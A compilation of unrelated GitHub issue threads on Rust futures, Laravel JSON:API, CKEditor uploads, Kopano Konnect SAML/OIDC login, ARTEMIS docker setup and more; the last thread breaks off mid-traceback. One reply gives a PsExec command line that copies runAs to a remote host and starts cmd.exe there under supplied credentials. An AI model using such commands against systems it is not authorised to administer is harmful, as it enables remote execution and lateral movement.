[WIP] Explicit task::Context argument to poll.

Only futures-core has been changed so far. Feedback welcome.
#129 https://github.com/rust-lang-nursery/futures-rfcs/pull/2

Echoing this in the right place this time:
So I'm playing around converting the code base, and I have hit a roadblock with trying to implement catch_unwind (See comment). Does anyone know how to work around this?
Basically, this:
let (res, future) = catch_unwind(|| (future.poll(), future))?;

Becomes:
let (res, future) = catch_unwind(|| (future.poll(ctx), future))?;

And ctx can't be safely passed into the closure since it's not UnwindSafe. (My context is based on BorrowedTask).

I'm working on futures-util now. I'll update again after I get that to compile.

After reading up this, if we can reason that task::Context is unwind safe, we can use AssertUnwindSafe to work around this:
let (res, future) = catch_unwind(panic::AssertUnwindSafe(|| (future.poll(ctx), future)))?;

As to whether they are unwind safe seems to depend on how a specific NotifyHandle is implemented, and how task-local storage works (is it still platform dependent in 0.2?). It would be nice to make sure this is documented for NotifyHandle implementors, and make sure that the task-local APIs we provide guarantee unwind safety.

My goal so far has been to make the 'interesting' commit as short as possible, so it's easier to discuss/review.
It currently compiles, though the tests don't pass (well, more accurately, the tests have regressed compared to the penultimate commit.

Ok so I think this could be a great opportunity to jettison Spawn-the-type! I wonder if we could get away with:
impl Context<'a> {
    pub fn new<F>(f: F, data: &'a TaskData) -> Context<'a>
        where F: FnMut() -> NotifyHandle + 'a;
}

and I think via that we could eliminate Spawn entirely (the type) along with spawn the function and still have all the information needed for all poll calls, right?

@alexcrichton  I think this is good. As you pointed out, Context is the only thing you need to poll a task. There should be no need for Spawn anymore.

Hm so with some more thinking, I think we've got two choices of signatures for Future:
trait Future {
    // option 1
    fn poll(&mut self, cx: Context<'_>) -> Poll<T, E>;

    // option 2
    fn poll(&mut self, cx: &mut Context<'_>) -> Poll<T, E>;
}

If we were to go with option 1 I think it also requires a function like:
impl Context<'a> {
    fn reborrow(&'b mut self) -> Context<'b>;
}

to enable use cases like:
impl Future for Select {
    fn poll(&mut self, cx: Context<'_>) -> Poll<T, E> {
        let res1 = self.a.poll(cx);
        let res2 = self.b.poll(cx); //~ ERROR: use of moved value `cx`
        // ...
    }
}

I would personally lean towards &mut Context<'_> I think?

I lean very heavily towards &mut Context. Adding reborrowing fns does not feel great. There also should always be a place on the stack for the Context value (before calling poll).

Ok thanks again for starting this out @ahmedcharles! With https://github.com/rust-lang-nursery/futures-rs/pull/758 extracted from this and merged I think I've finished up most of the rest at https://github.com/rust-lang-nursery/futures-rs/pull/762 so I'm going to close this for now


QueryToMany, QueryToOne, HasMany, HasOne, BelongsTo and BelongsToMany may fail to find a relation if declared with resolveRelationUsing

If you add a relation to a model via the Model::resolveRelationUsing() method (https://laravel.com/docs/11.x/eloquent-relationships#dynamic-relationships) the getRelation() methods in QueryToMany, QueryToOne, HasMany, HasOne, BelongsTo and BelongsToMany don't recognize it as they use method_exists to check if it's available, whereas the relations created this way are only available to the instance and when checked with relationResolver
So for instance in QueryToMany.php
`
/**
* @return EloquentRelation
*/
private function getRelation(): EloquentRelation
{
$name = $this->relation->relationName();
    assert(method_exists($this->model, $name), sprintf(
        'Expecting method %s to exist on model %s',
        $name,
        $this->model::class,
    ));

`
should be changed to something like the following:
`
/**
* @return EloquentRelation
*/
private function getRelation(): EloquentRelation
{
$name = $this->relation->relationName();
    assert(method_exists($this->model, $name) || $this->model->relationResolver($this->model::class, $name), sprintf(
        'Expecting method %s to exist on model %s',
        $name,
        $this->model::class,
    ));

`
This way it will also work for relations declared with resolveRelationUsing

Hi! this is because this package pre-dates that Eloquent feature.
Any chance you could do a PR? Looks like an easy contribution?

Hi! this is because this package pre-dates that Eloquent feature.
Any chance you could do a PR? Looks like an easy contribution?
Hi! this is because this package pre-dates that Eloquent feature.
Any chance you could do a PR? Looks like an easy contribution?

Sure, but I see the repos are organized in such a way, that this is not the right one, I believe I need to operate on the laravel-json-api/eloquent one, I'll try to open it there

I've opened a pull request there
https://github.com/laravel-json-api/eloquent/pull/36
I believe this can be closed


how to add additional information for exception such as trigger time?

[PINPOINT-release] SLOW RATE Alarm for m-s0 Service. #1
Rule : SLOW RATE
SLOW RATE value is 50% during the past 5 mins.(Threshold : 10%)
http://pinpoint.com
My mailbox received an exception message alarm like the above,But I feel that this amount of information is too small.
so , i want to add additional information for exception such as trigger time.
What should I do？thanks！！！

Hi @jiamine
Please review AlarmMailTemplate class cread body method

Hi @jiamine
Please review AlarmMailTemplate class cread body method

thank you !!!!


Fix spacing for naked rounded class

The naked (no-suffix) version of the rounded class results in a missing leading space which causes it to meld to any preceding classes.
The first commit adds a breaking test to illustrate the bug and the second commit fixes the bug.
The doctest of merge("rounded", "px-2") |> to_string() in current main evaluates to "px-2rounded" with no space.

🚀 Thank you for your contribution! 🚀

Released in v0.1.11


Image upload from computer not working

Here is my code which I used in react:
<CKEditor         activeClass="p10"         content={props.content}         config={{           allowedContent:true,           filebrowserImageUploadUrl: 'http://localhost/core/upload.php'         }}         events={{           change: props.handleChange         }}       />
Request URL: http://localhost/core/upload.php?CKEditor=editor1&CKEditorFuncNum=1&langCode=en
Here is my upload .php response

After pressing send to server button I got following error in console
Uncaught DOMException: Blocked a frame with origin "http://localhost" from accessing a cross-origin frame.
at http://localhost/core/upload.php?CKEditor=editor1&CKEditorFuncNum=1&langCode=en:1:47
When I clicked Ok button I got error "Image source URL is missing"

This is not an issue with the package. Your browser is blocking cross origin request, hence the error. Download the CORS plugin for your browser and see if it works with the plugin enabled.
Else read about CORS on stackoverflow and follow the steps to correct it. Or try running your code on a hosted dev server.
Closing this issue since its unrelated to the package.

I resolved CORS issue but still getting Image source URL is missing error.
You should not close the issue like this.
This is my ajax response:
<script>window.parent.CKEDITOR.tools.callFunction(1, 'http://localhost/core/images/1.jpg', '1.jpg successfully uploaded: \n- Size: 75.97 KB');</script>

Issues are meant to be opened in case of actual issue with the package which is not the case here. You need to put in effort to debug and try to solve basic implementation issues. A simple google search puts up so many links to people facing the same problem (like here and steps to resolve it. Even in this package, many issues have been discussed regarding image upload which you can easily look up in closed issues and check where you are going wrong. You cannot expect others to fix up the code for you.
Even your last issue was due to a problem in your own code, and you didn't bother to close up the issue once you realised the problem. Plus you simply pasted the stack trace expecting us to figure out the problem. Please read up basic open source/github guidelines before posting.


runAs tool using Psexec

hello, i tried to understand how to use runAs with psexec but i always get:
"Starting cmd on X ...n X...ing to Y...
cmd exited on Y with error code 0.
and i didnt get the shell.
i'm using command:
JetBrains.runAs.exe -p:[PASS] -u:[DOMAIN][USER] PsExec.exe [Destination IP] cmd
thanks.

@Th3LionH3ad could you add '-l:debug` and attach the output?

hello nikolay,
DEBUG: JetBrains RunAs x64 <IP_ADDRESS>
DEBUG: main::Run starting
DEBUG: Runner::Create a job
DEBUG: Runner::Configure all child processes associated with the job to
terminate when the parent is terminated
DEBUG: Job::SetInformation
DEBUG: Runner::Assign the current process to the job
DEBUG: Job::AssignProcessToJob
DEBUG: ProcessesSelector::SelectProcesses
DEBUG: ProcessesSelector::SelectProcesses push Process
DEBUG: ::GetStdHandle(STD_OUTPUT_HANDLE)
DEBUG: ::GetStdHandle(STD_ERROR_HANDLE)
DEBUG: SecurityManager::GetTokenInformation - Get the required buffer size.
DEBUG: SecurityManager::GetTokenInformation - Get the token information
from the access token.

DEBUG: Runner::Run finished
DEBUG: main::Run finished
DEBUG: main::Create resultsJetBrains RunAs x64 <IP_ADDRESS>
Copyright (C) 2017 JetBrains. All rights reserved.
Runs a process under the specified windows user account.
Argument(s): -l:debug psexec \<IP_ADDRESS> cmd
Settings:
user_name:
domain:
working_directory: C:\Test
exit_code_base: -100000
integrity_level: auto
inheritance_mode: auto
show_mode: hide
self_testing: 0
executable: psexec
command_line_args: \<IP_ADDRESS> cmd
Error code: -100003

@Th3LionH3ad Try using a full path for you executable

Also I dont believe your going to have much luck running psexec with RunAs if you are attempting to run psexec on remote host with credentials supplied to RunAs. I think you would have more luck running psexec with the -c (copy) command to pass RunAs to the target and tell it to run cmd.exe as your user. ie; psexec.exe \\[target] -u[user] -p[pass] -c -f JetBrains.runAs.exe -p:[PASS] -u:[DOMAIN][USER] cmd.exe


syntastic_check_on_open outputs garbage to the terminal before loading

This sounds like something that may have been resolved already but I couldn't find it here.
When I open a file with syntastic_check_on_open enabled, something like this outputs to the terminal. If the first line of the file I'm editing is not long enough to cover this, this random garbage stays there until I redraw the terminal.

Do you know of any solutions to this?

Do you know of any solutions to this?

Not really.  The problem is not syntastic, please see #822.
A few similar problems have been fixed recently in Vim.  I don't know if these fixes are relevant for syntastic, but it's worth a try.  So perhaps consider trying the latest version of Vim.


fix: 🐛 replaced REACT_APP_CONFIG with APP_CONFIG

replaced REACT_APP_CONFIG with APP_CONFIG to reflect latest OHIF monorepo updates

@omartoutounji. you're the real MVP! Thanks for documentation and script corrections 🙏
I'll merge this after tests pass.

@omartoutounji remind me to add you to the all-contributors for docs after we get it back up and running.

@dannyrb will do, exciting to be one of the contributors 😎😎😎


Authentication via SAML IDP possible?

Hello,
I heard rumours that it's possible to authenticate against a SAML Identity Provider (instead of the LDAP backend) but didn't find any information in the documenatition about it:
https://documentation.kopano.io/kopanocore_administrator_manual/configure_kc_components.html
The only thing I found was the the experimental external-cookie-authentication plugin. Is this the way one would authenticate against a SAML IDP?
Thank you :-)

The only thing I found was the the experimental external-cookie-authentication plugin. Is this the way one would authenticate against a SAML IDP?

I doubt that that the cookie backend can be used with SAML.
A dedicated SAML 2.0 backend should be possible by implementing AuthNRequest with HTTP-Redirect and HTTP-Post bindings, similar to the experimental external openid provided as mentioned by @fbartels .

I tried to set up the cokie backend as I didn't fully understand what it is used for and what it exactly does and couldn't get it working till now. I thought it does some internal http requests which accept the authentication if the request is successfull (i.e. cookies are valid and accepted).
If that is true (which I now doubt), I could write some endpoint which can validate the SAML cookies.
Is there a plugin mechanism, where I could integrate my python saml service provider implementation which makes a saml to openid-connect mapping?
How would I set up the external openid provider authentication?

I tried to set up the cokie backend as I didn't fully understand what it is used for and what it exactly does and couldn't get it working till now. I thought it does some internal http requests which accept the authentication if the request is successfull (i.e. cookies are valid and accepted).
If that is true (which I now doubt), I could write some endpoint which can validate the SAML cookies.

Yes thats the point of it - if it can work depends entirely on the cookie and the general setup.   The whole idea is that the "authorization endpoint" gets cookies it cann pass through to the backend user info endpoint. But please keep in mind that this mode of operation is limited related to what information can be fetched when (since backend access depends on a cookie value) and cannot be recommended for most use cases.

Is there a plugin mechanism, where I could integrate my python saml service provider implementation which makes a saml to openid-connect mapping?

No - also not exactly sure what you mean by that. Generally backends are "pluggable" by implementing them in Go and building the binary with it. There is no backend which can use Python as of now.
https://forum.kopano.io/topic/2728/can-we-use-external-oidc-provider/12

How would I set up the external openid provider authentication?

Since this is experimental functionality and the implementation is not finished. You might try to set it up by looking at
https://forum.kopano.io/topic/2728/can-we-use-external-oidc-provider/12 where i tried to explain how to set it up. Further feedback / tests on this are greatly appreciated so we can complete the feature with some real use cases in mind.

@longsleep Thanks, these information were very useful.
I think I can make it work with the cookie backend as my SAML-IDP and OpenIDC-Provider are running on the same host and the SAML cookie gives me all available user information.
But I have the following last questions:

I implemented $USERINFO similar to the example in https://github.com/Kopano-dev/konnect/blob/master/examples/coookieserver.py.
I am returning Content-Type: application/json with the payload<EMAIL_ADDRESS>The konnect backend makes the request but then writes the error message into the logs:
consent is required for offline access but not given, removed offline_access scope
Do I have to provide more information? Is something missing?

It is okay to have the userinfo backend only be reachable by the internal openid connect request, so I can set the url to e.g. http://<IP_ADDRESS>/user-info/, right?

What is sign-in-uri with the cookie backend supposed to do? I see that it is accessed with a query string like:
oauth=1 and continue=https://ucs-sso.school.dev/konnect/v1/authorize?response_type=code&scope=openid+profile+email+offline_access&client_id=wordpress-ucs&state=dd632e05c5b89a487acf8db839affee7&redirect_uri=https%3A%2F%2F<IP_ADDRESS>%2Fwordpress%2Fwp-admin%2Fadmin-ajax.php%3Faction%3Dopenid-connect-authorize
I assume I have to redirect to the continue parameter after I successfully logged-in the user?
When I do this, that URL redirects me immediately back to the same site and ends in a redirection loop. The backend doesn't request the $USERINFO service then.

From security perspective I have to validate if the continue url really is the openid-connect backend url before I do the redirection. Otherwise anyone can send a malicious link to clients.

Wellm

The konnect backend makes the request but then writes the error message into the logs:
consent is required for offline access but not given, removed offline_access scope
Do I have to provide more information? Is something missing?

This is not an error (just debug log). It means the oauth request your client sent requested offline_access but at the same time did not explicitly request the consent prompt and thus offline_access scope is automatically ignored.

It is okay to have the userinfo backend only be reachable by the internal openid connect request, so I can set the url to e.g. http://<IP_ADDRESS>/user-info/, right?

Yes.

What is sign-in-uri with the cookie backend supposed to do? I see that it is accessed with a query string like:

This is where Konnect will redirect if the backend request failed (assuming sign-in is required).

I assume I have to redirect to the continue parameter after I successfully logged-in the user?
When I do this, that URL redirects me immediately back to the same site and ends in a redirection loop

Yes, redirect to the continue parameter value (which points to the authorize endpoint). When redirecting, that request will need to include authentication cookies (as set by your sign-in provider). If no request ot $USERINFO is made, then this can only mean that no (matching) cookies are sent (nothing is logged in this case).

From security perspective I have to validate if the continue url really is the openid-connect backend url before I do the redirection. Otherwise anyone can send a malicious link to clients.

Yes - usually a whitelist approach is used for any kind of ?continue= support. Since you have configured the endpoint to authorize you can use that in the whitelist too.

I made progress: I implemented the SAML->openid-connect-json backend. Now I get these messages for the $USERINFO request:
time="2019-10-13T12:37:19Z" level=error msg="identity manager fetch failed" error="CookieIdentityManager: unknown identity claims type" time="2019-10-13T12:37:19Z" level=debug msg="userinfo request user not found" sub=6gLM3iMT3dKEna32nDBvYdfLwgfW4Ps37sS_qMybQkFAebJWVd4VACjqO7owUJ70DO_KoQIUz5r1y7n2CO2V9w@konnect

What is sign-in-uri with the cookie backend supposed to do? I see that it is accessed with a query string like:

This is where Konnect will redirect if the backend request failed (assuming sign-in is required).

I assume I have to redirect to the continue parameter after I successfully logged-in the user?
When I do this, that URL redirects me immediately back to the same site and ends in a redirection loop

Yes, redirect to the continue parameter value (which points to the authorize endpoint). When redirecting, that request will need to include authentication cookies (as set by your sign-in provider). If no request ot $USERINFO is made, then this can only mean that no (matching) cookies are sent (nothing is logged in this case).
My browser sends all SAML cookies along with every request. But there is one cookie from konnect:
__Secure-KKBS=UeR9dFEJ-1pU4LWA4W3VZUnHgekah5QObCP6QoT9N8g; Path=/konnect/v1/session/; Secure

This is set in the request which redirects me back to my login-uri. (Note that the path is very restrictive).

error="CookieIdentityManager: unknown identity claims type"

Ok this is an actual error - for some reason it fails to parse the claims. This must succeed for this to work. Can you check the access token. Unfortunately the CookieIdentityManager does not log what "type" it found to be "unknown".

But there is one cookie from konnect:
__Secure-KKBS=UeR9dFEJ-1pU4LWA4W3VZUnHgekah5QObCP6QoT9N8g; Path=/konnect/v1/session/; Secure

Yes - this is the browser state cookie and it is limited to the session endpoint (used by OIDC session management extension).

This must succeed for this to work.

Looking at this it seems like that functionality is currently broken :/

@spaceone i made a patch which might fix this
--- a/identity/managers/cookie.go
+++ b/identity/managers/cookie.go
@@ -383,14 +383,21 @@ func (im *CookieIdentityManager) Fetch(ctx context.Context, userID string, sessi

        if user == nil {
                // Try claims from context.
-               identityClaims, _ := konnect.FromClaimsContext(ctx)
-               if identityClaims != nil {
-                       var err error
-                       var encodedCookies string
-                       identityClaimsMap, ok := identityClaims.(jwt.MapClaims)
-                       if !ok {
+               claims, _ := konnect.FromClaimsContext(ctx)
+               if claims != nil {
+                       var identityClaimsMap jwt.MapClaims
+                       switch c := claims.(type) {
+                       case *konnect.AccessTokenClaims:
+                               identityClaimsMap = c.IdentityClaims
+                       case *konnect.RefreshTokenClaims:
+                               identityClaimsMap = c.IdentityClaims
+                       case jwt.MapClaims:
+                               identityClaimsMap = c
+                       default:
                                return nil, false, fmt.Errorf("CookieIdentityManager: unknown identity claims type")
                        }
+                       var err error
+                       var encodedCookies string
                        encryptedCookies, _ := identityClaimsMap["cookie.v"].(string)
                        if encryptedCookies != "" {
                                encodedCookies, err = im.encryptionManager.DecryptHexToString(encryptedCookies)

Please give it a try and let me know.

@longsleep
The error message is gone, instead the wordpress login shows me another message:
ERROR: User claim incomplete
konnectd shows:
DEBU[0004] failed to decode client session               error="decryption failed"
DEBU[0004] consent is required for offline access but not given, removed offline_access scope
DEBU[0005] identifier client lookup                      client_id=wordpress-ucs known=true redirect_uri="https://master89.school.dev/wordpress/wp-admin/admin-ajax.php?action=openid-connect-authorize" trusted=true

(the first message only once during startup(?))
Apache's access log:
ucs-sso.school.dev:443 <IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "GET /konnect/v1/authorize?response_type=code&scope=openid+profile+email+offline_access&client_id=wordpress-ucs&state=538b10fe0843b98f6bd6ae1c0b75a09d&redirect_uri=https%3A%2F%2Fmaster89.school.dev%2Fwordpress%2Fwp-admin%2Fadmin-ajax.php%3Faction%3Dopenid-connect-authorize HTTP/1.1" 302 926 "https://master89.school.dev/" "Mozilla/5.0"

ucs-sso.school.dev:443 <IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "POST /simplesamlphp/userinfo.php HTTP/1.1" 200 520 "-" "Mozilla/5.0"

ucs-sso.school.dev:443 <IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "POST /konnect/v1/token HTTP/1.1" 200 6038 "https://ucs-sso.school.dev/konnect/v1/token" "WordPress/5.2.4; http://master89.school.dev/wordpress"

<IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "GET /wordpress/wp-admin/admin-ajax.php?action=openid-connect-authorize&code=enwpMn2VJXjl94KKnEjeHy31BOx_NpHm&scope=openid%20profile%20email&session_state=4e37e922e5c5a6f8615f317fc20230582a56a224e32d02768a8929b994ef3865.tOBuu_bq-EGOBf0_jh7JjgPNQVOkYfICRL4LvjLomnU%3D&state=538b10fe0843b98f6bd6ae1c0b75a09d HTTP/1.1" 302 823 "https://master89.school.dev/" "Mozilla/5.0"

ucs-sso.school.dev:443 <IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "POST /simplesamlphp/userinfo.php HTTP/1.1" 200 367 "-" "Mozilla/5.0"

ucs-sso.school.dev:443 <IP_ADDRESS> - - [14/Oct/2019:07:13:31 +0200] "POST /konnect/v1/userinfo HTTP/1.1" 200 3841 "https://ucs-sso.school.dev/konnect/v1/userinfo" "WordPress/5.2.4; http://master89.school.dev/wordpress"

<IP_ADDRESS> - - [14/Oct/2019:07:13:32 +0200] "GET /wordpress/wp-login.php?login-error=incomplete-user-claim&message=User+claim+incomplete HTTP/1.1" 200 2206 "https://master89.school.dev/" "Mozilla/5.0"

The error message is gone, instead the wordpress login shows me another message:
ERROR: User claim incomplete

Well that looks good - what claims exactly Wordpress needs i do not know. Since Wordpress requests offline_access without consent (which imho is invalid), it might just complain about the lack of the refresh token.

DEBU[0004] failed to decode client session               error="decryption failed"

This most likely means you have not generated persistent keys (--encryption-secret) and Konnect creates a new random one on startup.

DEBU[0004] failed to decode client session               error="decryption failed"

This most likely means you have not generated persistent keys (--encryption-secret) and Konnect creates a new random one on startup.

I now see this happens on every request in the redirection loop, when the user is not logged in:
https://ucs-sso.school.dev/konnect/v1/authorize?response_type=code&scope=openid+profile+email+offline_access&client_id=wordpress-ucs&state=abf3de0eeb58aba91e8fa06be59c2caa&redirect_uri=https%3A%2F%2Fmaster89.school.dev%2Fwordpress%2Fwp-admin%2Fadmin-ajax.php%3Faction%3Dopenid-connect-authorize
The code says this is harmless if no session exists:
https://github.com/Kopano-dev/konnect/blob/master/oidc/provider/handlers.go#L161
Nevertheless, I am ending in the redirection loop if the $USERINFO endpoint just returns 401. Could you give me a patch which adds debug logging messages for the steps which occur during the cookie authentication?
Regarding the wordpress problem, I think I will try to use another OIDC app to test the login (e.g. nextcloud or kopano).

It works with nextcloud (well after a internal server error first but after a refresh one is logged in)!
Thank you very much.
Will you merge your patch? Or should I create a PR?

Will you merge your patch? Or should I create a PR?

i will, internal PR already made

Thanks for testing and reporting back :+1:

I posted this on the Kopano forum but perhaps this is best to sit here.
I'm taking a look at Konnect to get a better handle on how Single Sign on works. I'm able to get it to work against the KC backend, but noted inside the sample identifier.yaml that there is SAML2 support.
Am I correct in thinking that I could have Konnect whenever it is called authenticate against my SAML2 IDP Provider (with it exporting a uid value) allowing my central authentication system to have to take the place of logging in yet again to use Konnect services?
I did try to enable the SAML2 component in the identifier configuration and Konnect states that it has been loaded.
INFO[0000] authority is now ready                        id=llng type=saml2 and forwards to my own IDP, yet throws errors because it has not been setup on the IDP as a Service Provider.
I'm not super up to speed on authentication but with setting up other SAML2 entities I have required metadata on both the IDP and SP end. I've tried to look in the Konnect code to see if there is a path that I can use for getting this metadata with no such luck.
The closest I can find is curl <IP_ADDRESS>:8777/konnect/v1/identifier/saml2/metadata however I get a 404 response.
Any advice? I'll report my findings and write up a tutorial for others to benefit from if I can get this going.
I am starting it on the command line as such for now:
/usr/libexec/kopano/konnectd serve --identifier-client-path=/usr/share/kopano-konnect/identifier-webapp --identifier-registration-conf=/etc/kopano/identifier-registration.yaml.in --iss=https://konnect.example.com dummy
^^ Note I have also tried kc as the backend
My identifier config looks as such:
---

  - id: llng
    name: llng
    entity_id: kopano-konnect
    authority_type: saml2
    default: yes
    trusted: yes
    discover: yes
    metadata_endpoint: https://auth.example.com/saml/metadata
    identity_claim_name: uid
    identity_alias_required: false
    end_session_enabled: true

Regards.


[BP-1.19][hotfix] Fix maven property typo in root pom.xml

1.19 backport for PR #24535

I'm not gonna wait for CI because it's a trivial fix and was reviewed in the parent PR.


[Enhancement]: Sign the MelonLoader assembly (give it a strong name)

Describe the new feature or enhancement
I've been working on a plugin and I have been trying to make it as backwards compatible as possible. An issue I am encountering is that I cannot reference two versions, because of them not having a strong name, which makes it hard to make plugins/mods compatible with older versions, because of changed methods, non-existent variables etc. I think by signing and giving ML a strong name in the future might help other people make their "Melons" also backwards compatible. Obviously I'm not saying that all older versions should be given a strong name and reuploaded to Github, but in future releases I think it could help some people (not a lot but still).

It seems that I have been able to resolve the issue myself, but I had to download the source code, sign the ML v0.5.7 and build it for VS to let me build my project correctly. I have tested the issue I was experiencing ( MelonLaunchOptions in ML 0.5.7 having Debug.Enabled and in later versions it being Core.IsDebug) and it seems to work correctly.
So if anyone is wondering how you can reference 2 versions of MelonLoader, that's how you do it. Although I find it unlikely that anyone will find it required to use 2 versions


Export monorepo packages

This PR makes some changes to export the packages in this monorepo. This is required because these forked packages can no longer be installed from NPM.

hard to say just by looking at the code if this is going to work, but I guess the easiest way is to try to reference the repo from another repo's package.json and see if it works

I have tested it on my fork of optic and it seems to be working.


Service workers don't have "document" in the scope.

Will fail in browser environments that don't have "document" in the scope.
Known issue #240

Fixed https://github.com/visionmedia/debug/pull/298


Fix copy-paste shame

This hurts :joy: Keep up the good work
This is a leftover from the leftover fix apparently 0d885da25a25008aeaf768871df56da8b1e23192

Cheers. 🍻

Hehe 😝


Update teams-powershell-release-notes.md

Updating public preview build from 1.1.0 to 1.1.3.

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@brandber PR has been copyedited and is ready for final review, could you please check and merge? Thanks!


Don't load config file or modulies

After starting via docker, all modules are launched, the web interface opens, but it is empty and if you look at the config in the web interface, it does not see it.
 docker-compose up -d
Creating redis    ... done
Creating rabbitmq  ... done
Creating postgres ... done
Creating mongodb   ... done
Creating postgrest            ... done
Creating graphql              ... done
Creating artemis_notifier_1   ... done
Creating artemis_prefixtree_1 ... done
Creating artemis_prefixtree_2 ... done
Creating artemis_prefixtree_3 ... done
Creating artemis_prefixtree_4 ... done
Creating artemis_database_1   ... done
Creating artemis_database_2   ... done
Creating artemis_database_3   ... done
Creating artemis_database_4   ... done
Creating artemis_mitigation_1        ... done
Creating artemis_riperistap_1        ... done
Creating artemis_detection_1         ... done
Creating artemis_detection_2         ... done
Creating artemis_detection_3         ... done
Creating artemis_detection_4         ... done
Creating pg-amqp-bridge              ... done
Creating artemis_autoignore_1        ... done
Creating artemis_exabgptap_1         ... done
Creating frontend                    ... done
Creating artemis_bgpstreamhisttap_1  ... done
Creating artemis_bgpstreamlivetap_1  ... done
Creating artemis_bgpstreamkafkatap_1 ... done
Creating artemis_configuration_1     ... done
Creating nginx                       ... done
Creating artemis_fileobserver_1      ... done
Creating artemis_autostarter_1       ... done

Screenshots
in atach
System (please complete the following information):

OS: [ubuntu 20.04]
Browser [firefox]
Version 98.0.2 ]

Additional context
my config
#
# ARTEMIS Configuration File (FORTH NETWORK)
#
# Start of Prefix Definitions
prefixes:
  pso_prefix1: &pso_prefix1
  - <IP_ADDRESS>/24
  pso_prefix2: &pso_prefix2
  - <IP_ADDRESS>/24
# End of Prefix Definitions

# Start of Monitor Definitions
monitors:
  riperis: ['']
  #bgpstreamlive:
  #- routeviews
  #- ris
  #- caida
  # exabgp:
  # - ip: <IP_ADDRESS>
  #   port: 5000
  # - ip: <IP_ADDRESS>
  #   port: 5000
  #bgpstreamhist: "/root/23_7_2019_csvs"
  bgpstreamkafka:
    host: stream.routeviews.org
    port: 9092
    topic: '^routeviews.*\.bmp_raw'
# End of Monitor Definitions
# Start of ASN Definitions
asns:
  pso_asn: &pso_asn
  - 196721
  mts_asn: &mts_asn
  - 8359
  solnce_asn: &Solnce
  - 51004
# End of ASN Definitions

# Start of Rule Definitions
rules:

- prefixes:
  - *pso_prefix1
  - *pso_prefix2
  origin_asns:
  - *pao_asn
  neighbors:
  - *mts_asn
  - *solnce_asn
  mitigation: manual

- prefixes:
  - *pso_prefix2
  origin_asns:
  - *pso_asn
  neighbors:
  - *mts_asn
  - *solnce_asn
  mitigation: manual
# End of Rule Definitions

Greetings! Thanks for reporting this!
Could you try docker-compose logs and inform us about possible errors shown?

I think the problem is in the database, but I can't figure out what I'm doing wrong.
log in attachment
logs.txt

I have a next error
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'
autostarter_1        | nc: bad address 'database'

Hello @Sivolen ! Are you on the default latest ARTEMIS (see SYSTEM_VERSION variable in .env) with latest code and containers? Please do the following:
docker-compose down
git stash
git pull origin master
git stash pop
docker-compose pull
docker-compose up -d

I assume you have followed the setup guide and set up a local_configs folder, changed security vars, etc.
https://bgpartemis.readthedocs.io/en/latest/gettingstarted/
https://bgpartemis.readthedocs.io/en/latest/installsetup/
https://bgpartemis.readthedocs.io/en/latest/running/

Thank, i reinstalled artemis and it starts correct, but data don't load and if i open "admin/system" i have next error
Application error: a client-side exception has occurred (see the browser console for more information).

Thanks!
After that, I reinstalled everything, the web interface worked correctly and the config and modules are displayed, but when you switch to the bgp update mode, I don’t see the download (No bgp updates)

Thanks, it work is great


Code for BBB wireless

Hello,
I would like to run this code on the beaglebone wireless. The problem is that the paths are not correct.
I tried adjusting the path from /sys/devices to /sys/devices/platform (where the capemgr is located), but this is followed a problem with the slots.
Can u help me Please?
Thank you in advance

Code in this repository works only with kernel 3.8.13 and Angstrom linux.
My guess is that on BB wireless you are using different distro (not Angstrom?) and/or different kernel version. Another concern is that your hardware is different, meaning that BBB cape may not be compatible with BBW cape.
Unfortunately, I am not an expert on capes and can not help porting BBB cape to BBW system. I suggest you look at hardware forums for the help using ADC capture.


Python & Critical Link GenTL (XML parser error)

Describe the Issue
Parsing XML file throws a syntax error in the same line (1720) as in [https://github.com/genicam/harvesters/issues/207].
This error was supposed to be fixed in harvester version 1.3.2 ...

To Reproduce
We followed the steps to control Critical Link GenTL camera with Python (https://support.criticallink.com/redmine/projects/gentl_apps/wiki/Using_Python_With_Critical_Link_GenTL_Producer) and (https://support.criticallink.com/redmine/boards/21/topics/6147?r=6148).
Device and GenTL producer were found without a problem.
Environment variable was created for XML camera file.
Configuration

OS: windows 10
Harvester: 1.3.2
Python (Anaconda): 3.8.12
GenTL Producer: Critical Link
GenTL Viewer: 2.7.0
Camera: MityCAM-35MMFHDXS

Reproducibility
This phenomenon can be stably reproduced:

Yes

Thank you in advance for any ideas

Small correction of the broken link above: https://github.com/genicam/harvesters/issues/207

This appears to be an issue between our (Critical Link) camera and the genicam 1.2.0 release.  The latest genapi release must have changed something in the producer XML requirements.
Sticking with genicam==1.1.0 until we figure this out should help.

I'm having a hard time tracking this down as the exception is being thrown from genapi xmlparser.cpp _genapi.NodeMap_load_xml_from_file
Though I can't tell what the syntax error is.  It passes XML validation.
Here is a picture of the debugger right before the exception is thrown:

And the error
2022-09-26 18:35:14,851 - harvesters - DEBUG - fetched url: local:///criticallink_systemgentl.xml;0;3075
2022-09-26 18:35:14,855 - harvesters - DEBUG - created: C:\Users\jcormier\AppData\Local\Temp\20220926183514_btng_obq\criticallink_systemgentl.xml
2022-09-26 18:35:25,277 - harvesters - WARNING - Error while parsing XML stream at line 2 and column 0 : 'syntax error' : RuntimeException thrown (file 'XmlParser.cpp', line 1720)
Traceback (most recent call last):
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 258, in _create_node_map
    node_map.load_xml_from_zip_file(file_path)
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\genicam\genapi.py", line 1826, in load_xml_from_zip_file
    return _genapi.NodeMap_load_xml_from_zip_file(self, ZipFileName)
_genapi.RuntimeException: File open failed in ParseXmlFile. Filename = 'C:\Users\jcormier\AppData\Local\Temp\20220926183514_btng_obq\criticallink_systemgentl.xml' : RuntimeException thrown (file 'XmlParser.cpp', line 131)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 261, in _create_node_map
    node_map.load_xml_from_file(file_path)
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\genicam\genapi.py", line 1820, in load_xml_from_file
